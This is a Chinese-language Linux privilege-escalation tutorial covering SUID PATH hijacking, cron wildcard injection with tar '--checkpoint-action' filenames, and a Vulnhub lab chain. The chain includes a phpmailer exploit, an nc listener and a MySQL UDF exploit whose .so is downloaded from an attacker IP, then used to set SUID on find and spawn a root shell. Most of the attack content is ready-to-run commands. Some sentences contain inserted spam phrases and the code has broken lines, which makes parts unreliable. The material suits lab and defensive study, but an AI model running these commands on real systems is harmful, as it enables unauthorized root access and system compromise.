权限提升
Linux权限
用户的权限用“id”命令来查看,权限分为uid、gid、groups,即属主、属组、其他
文件的权限又分为rwx,即读、写、执行,由三组二进制数据表示
Linux提权本地环境变量安全-Aliyun
提权条件:复制了SUID权限,还需要本地用户权限
提权原理:借环境变量的执行顺序永久免费linux服务器linux查看操作系统,替换了高权限的命令,获取权限
注意:虽然例子中的“shell”文件是我们自己写的,但这里是模拟的用户自己配置的有SUID权限的文件。我们替换了该文件中被调用的命令,获得了root权限的反弹窗口
替换命令的方法是借助环境变量会逐个文件夹找命令的运行逻辑,在被执行的命令之前就加一个同名的环境变量
提权过程:手写调用文件-编译-复制文件-增加环境变量-执行触发
手写文件demo.c,里面包含“ps”命令
#include
void main()
{
setuid(0);
setgid(0);
system(“ps”);
}
将demo.c编译成shell
gcc demo.c -o shell
将shell文件复制到目标机器中,给予SUID权限
增加环境变量,注意此时“tmp”文件夹还不是环境变量的文件夹
cp /bin/sh /tmp/ps
将“tmp”文件夹的内容划为环境变量
export PATH=/tmp:$PATH
执行“shell”触发,反弹一个窗口
./shell
查看权限,发现已经变成了root权限
id
Linux提权本地定时任务安全-Aliyun
第一种:路径问题(未实现)
提权原理:利用计划任务指向的文件的相对路径解析问题
计划任务使用相对路径来指定命令时,默认路径是“/usr/local/bin”。在当前用户的目录下创建相同名字的文件,会比默认路径优先级更高
提权过程:
查看当前的定时任务
cat /ect/crontab
在当前用户的目录下创建相同名字的文件,其中包含获取root权限的命令
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash
第二种:命令问题(WS注入)
提权条件:有通配符的可以调用其他命令的命令被放入计划任务中
提权原理:利用通配符配合命令参数自定义命令实现提权
可以将通配符所匹配的内容写成命令的参数,调用其他命令
提权过程:
我们首先假设目标机器上有类似如下带有通配符的任务
不安全定时任务备份命令:
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
新建“test.sh”,其中有获取root权限的命令
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
新建两个文件,文件名代替通配符时会和命令组合成新命令,执行“test.sh”
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
等到定时任务完成,调用已经获得root权限的bash
./bash -p
参考命令:其他命令是否可以请查看《Linux提权手法总结.pdf》
第三种:权限问题
提权原理:利用不安全的权限分配操作导致的定时文件覆盖
管理员没有正确的赋予权限,比如给了文件777的权限,导致定时任务可以被修改
Linux提权数据库MYSQL_UDF-Vulnhub
提权过程:Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同Windows)
探针IP及端口
nmap 192.168.76.0/24
利用phpmailer漏洞进行修改并反弹
python D:/Myproject/40974.py
nc -lvvp 4444
写入后门利用菜刀连接方便操作
echo '' >1.php
上传信息收集脚本进行提权信息收集
./LinEnum.sh
翻阅数据库配置文件获取root密码
利用Mysql提权searchsploit
下载mysql udf poc进行编译,建议在本地
wget
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
编译成.so文件,即动态链接库
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so
上传或下载1518到目标服务器,这里是目标服务器下载从攻击方下载
wget [攻击者IP]/1518.so
进入数据库进行UDF导出(导出dll文件并执行命令执行函数实现提权,跟Windows一样)
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
创建do_system函数调用
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
配合使用find调用执行
touch xiaodi
find xiaodi –exec "whoami" ;
find xiaodi –exec "/bin/sh" ;
id
Linux提权提升简单总结归类-参考PDF
1.提权环境(web环境、本地环境),信息收集(SUID、定时任务、可能漏洞、第三方服务应用等)
2.最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
3.最新漏洞:本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
4.其他提权方法如:密码复用,guidlinux提升权限linux提升权限,sudo等说明(运气,同理,鸡肋等)
SUDO说明参考:
涉及资源:
exploit database:
RAVEN: 2(vulnhub的靶场):,269/
exploitdb(Linux工具):
Linux下的tar压缩解压缩命令详解:
CVE-2019-14287:sudo权限绕过漏洞分析与复现: